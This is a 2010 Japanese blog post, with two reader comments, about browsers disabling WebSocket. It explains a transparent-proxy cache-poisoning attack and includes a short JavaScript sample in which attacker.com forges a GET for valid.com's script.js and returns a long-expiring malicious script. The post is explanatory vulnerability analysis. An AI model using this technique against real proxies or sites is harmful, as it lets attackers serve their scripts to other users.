2010年12月10日金曜日

FirefoxなどでWebSocketがdefault disableに

残念な事に、FireFox4の次のバージョンではWebSocketが利用出来なくなる、と記事が出ましたね。
http://www.0xdeadbeef.com/weblog/2010/12/disabling-websockets-for-firefox-4/
Operaもdisableになるらしい(開発版では有効になっていた)ですがソース不明です。

問題となっているsecurity issueのreportはこちら。
http://www.adambarth.com/experimental/websocket.pdf

覚え書き程度に、どんな問題なのか書いておこうかな、と。

しかし、この問題は特にWebSocketに限った話じゃなくて、Flashなどでも起こるんだ、と言う事を記事にする人は書かなきゃ駄目だと思うんだ。

さてと。問題になっているのは、以下のようなケース。

ユーザAがとあるサイト(attacker.com)を見ちゃった。
attacker.comはWebSocketを利用し、こんなメッセージを送っていた。

var ws = new WebSocket("ws://attacker.com/poison");
ws.send(
    "GET /script.js HTTP/1.1\n" +
    "Host: valid.com\n\n"
);

このメッセージは、attacker.comへと配送されます。(websocketのconnectionが張られているので)

さて、attacker.comのWebSocket Serverは、そのrequestに対して、

ws.send(
    "HTTP 200 OK\n" +
    "Expires: 1年後の日付\n\n" +
    "{SCRIPT本体}"
);

こんな回答をしてあげてる、としましょう。(便宜上、ws.sendで書いてますが、client socketに対してのwriteです)

以上のやりとりは、全てWebSocket Connectionの中での出来事です。特に問題がなさそうに見えます。
Flashでも同じ事が出来ますね。
http://d.hatena.ne.jp/Bayside/20080502/p1

問題になるのは、間に透過型プロキシがある場合。
先ほどのWebSocket Connectionの中でのGET - Responseですが、実はプロキシ側では通常のHTTP Requestと違いが分からないらしい。(不勉強で、本当かどうかは知りません)
すると、プロキシは先ほどのレスポンス、つまりscript.jsを、Host == valid.comのものだとしてcacheしてしまう、と。しかも、無期限で(この例だと1年ですね)。

cacheされちゃうとどうなるか。
もしvalid.comにscript.jsがあった場合(ありそうな例としてあげられているのが、google.comのga.js)、他の誰かがvalid.comを訪れた時にキャッシュヒットしちゃって、attacker.comにあったscript.jsがvalid.comのものとして実行されちゃいますよ、と。

こんな感じに読み取りましたが、間違ってたらご指摘くださいませ。
# ご指摘を受けましたので修正。ちょっと読み飛ばしちゃったところがありまして、もうひとつ例として挙げられています。追記しようかと思ったのですが、時間が無いので、詳細をお知りになりたい方は、原文を読んでいただくか、http://firefoxhacks.at.webry.info/201012/article_3.html とか、https://groups.google.com/group/socketapi-dev/browse_thread/thread/252531b595e071b6 このあたりをご参照ください。中途半端で、ごめんなさい。(^^;

http://www.adambarth.com/experimental/websocket.pdf
では、続いてこうすれば大丈夫だよ、と言う提案もされていらっしゃいますが、これはちょっと個人的に好きになれません。。。どうせ443固定にするんだったら、wss scheme + Server cert使えば良いじゃん、と思いますし。
Transparent proxyがServer cert返しちゃってるようなネット運用してる所は知りませんよ、とか言えるし。

以上、覚え書きまで。

2 件のコメント:

  1. The protocol vulnerabilities also affect Java and Flash solutions.
    http://hacks.mozilla.org/2010/12/websockets-disabled-in-firefox-4/

    Note the flash issue, which still exists. This is also a problem in flash, and I’m not sure if or what Adobe will do about it.
    http://www.0xdeadbeef.com/weblog/2010/12/disabling-websockets-for-firefox-4/comment-page-1/#comment-279667

    とか書かれてますね。

    あと Opera の件は
    http://annevankesteren.nl/2010/12/websocket-protocol-vulnerability
    で発表されて、ついさっき出た
    http://my.opera.com/desktopteam/blog/2010/12/10/friday-morning-improvements
    でオプション扱いになりました。

    返信削除
  2. ありがとうございます。

    @toshirot さんに教えてもらったのですが、以前からadvisory出てたみたいですね。
    http://twitter.com/#!/toshirot/status/13070583189209088

    flash socketやwebsocket側の問題だけとも言い切れない気がしてます。(実運用されちゃってるという点で、websocket側でも対処すべき、と言うのはその通りなんですけど)

    返信削除